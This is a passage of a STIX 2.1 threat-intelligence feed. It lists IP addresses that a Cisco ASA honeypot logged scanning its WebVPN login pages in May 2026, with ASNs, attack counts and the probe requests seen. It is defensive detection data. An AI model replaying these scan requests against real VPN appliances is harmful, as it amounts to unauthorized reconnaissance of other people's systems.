      "created": "2026-05-29T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--c519d0eb-a890-4cf5-b67b-e49da261b24d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '153.80.97.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T16:20:10.000Z",
      "valid_until": "2026-06-30T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-29T16:03:40.297Z",
          "last_seen": "2026-05-30T05:02:10.475Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US",
      "id": "indicator--1d41356a-847c-4662-a036-eee52019cce7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.194.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T16:20:10.000Z",
      "valid_until": "2026-06-30T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 8,
          "first_seen": "2026-05-29T15:24:03.110Z",
          "last_seen": "2026-05-29T15:24:29.047Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--5df299f7-6524-4901-be46-63ae0cb782e7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.20.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T16:20:10.000Z",
      "valid_until": "2026-06-30T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T15:40:50.039Z",
          "last_seen": "2026-05-29T15:41:03.586Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--33d3f492-ccfe-4115-840d-a996447195c4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.121.80.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T16:20:10.000Z",
      "valid_until": "2026-06-30T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-29T15:29:20.491Z",
          "last_seen": "2026-05-30T12:04:34.709Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--1beefb18-950a-40a0-9189-7617308e9d39",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.104.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T16:20:10.000Z",
      "valid_until": "2026-06-30T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-29T16:16:59.223Z",
          "last_seen": "2026-05-29T20:53:21.799Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--a4fb2f36-ca1c-43ee-a7bf-82f3c9525e40",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.130.186.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T16:20:10.000Z",
      "valid_until": "2026-06-30T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-29T16:02:00.084Z",
          "last_seen": "2026-05-31T01:49:17.069Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--a16aa45e-f34f-406e-9e4a-79b88350e2b1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '136.0.102.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T17:20:10.000Z",
      "valid_until": "2026-06-30T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T16:33:08.041Z",
          "last_seen": "2026-05-29T16:33:23.572Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--0b4639c3-2e79-4024-8af0-a3a0aceba351",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '141.133.5.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T17:20:10.000Z",
      "valid_until": "2026-06-30T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T16:26:17.929Z",
          "last_seen": "2026-05-29T16:26:28.157Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--d8fb91b9-e726-48f4-be7a-1ae278f2eb3e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.111.193.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T17:20:10.000Z",
      "valid_until": "2026-06-30T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-29T17:06:00.789Z",
          "last_seen": "2026-05-30T00:09:31.524Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--0b32ccd6-8ea1-4fde-915f-f05ca14a896f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '166.1.159.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T17:20:10.000Z",
      "valid_until": "2026-06-30T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-29T17:04:21.699Z",
          "last_seen": "2026-05-31T01:21:28.631Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--4b4df99c-a7e9-423d-9303-d6d6508ab8f9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.50.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T17:20:10.000Z",
      "valid_until": "2026-06-30T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T16:44:50.465Z",
          "last_seen": "2026-05-29T16:45:00.277Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--ae7b6c97-52fd-4a35-bf22-cab17cae4e17",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.104.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T17:20:10.000Z",
      "valid_until": "2026-06-30T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-29T17:14:28.323Z",
          "last_seen": "2026-05-29T17:14:37.017Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--10ac013a-4122-4e36-a857-ff1e783fb136",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.72.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T17:20:10.000Z",
      "valid_until": "2026-06-30T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-29T16:27:11.221Z",
          "last_seen": "2026-05-29T19:58:08.112Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--cd814f18-24e0-4bdd-9dc1-da593d6d7cd3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '77.83.5.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T17:20:10.000Z",
      "valid_until": "2026-06-30T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T17:10:33.274Z",
          "last_seen": "2026-05-29T17:10:45.753Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--be1e379e-b82a-46a3-9cf6-4d6b8d5b84a5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '95.214.83.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T17:20:10.000Z",
      "valid_until": "2026-06-30T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-29T17:02:51.253Z",
          "last_seen": "2026-05-31T04:52:55.661Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T18:21:53.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--65610a77-5a37-4863-bfc4-abf4899f193b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '136.234.240.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T18:21:53.000Z",
      "valid_until": "2026-06-30T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-29T17:26:17.665Z",
          "last_seen": "2026-05-29T19:20:23.212Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T18:21:53.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--6240aa17-320b-4a5c-a578-5b484863e609",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.12.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T18:21:53.000Z",
      "valid_until": "2026-06-30T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T18:00:18.033Z",
          "last_seen": "2026-05-29T18:00:34.579Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T18:21:53.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--d1453794-f61e-4568-a997-bc4e22531ea7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.138.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T18:21:53.000Z",
      "valid_until": "2026-06-30T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T17:51:17.733Z",
          "last_seen": "2026-05-29T17:51:33.179Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T18:21:53.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--98b67b87-2240-408e-a01a-6fe10707fd28",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.177.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T18:21:53.000Z",
      "valid_until": "2026-06-30T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-29T17:24:24.652Z",
          "last_seen": "2026-05-29T22:54:35.389Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T18:21:53.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--2e5fe4da-7ecd-401c-b9bd-4edc0114170b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.189.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T18:21:53.000Z",
      "valid_until": "2026-06-30T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T18:16:08.274Z",
          "last_seen": "2026-05-29T18:16:22.517Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
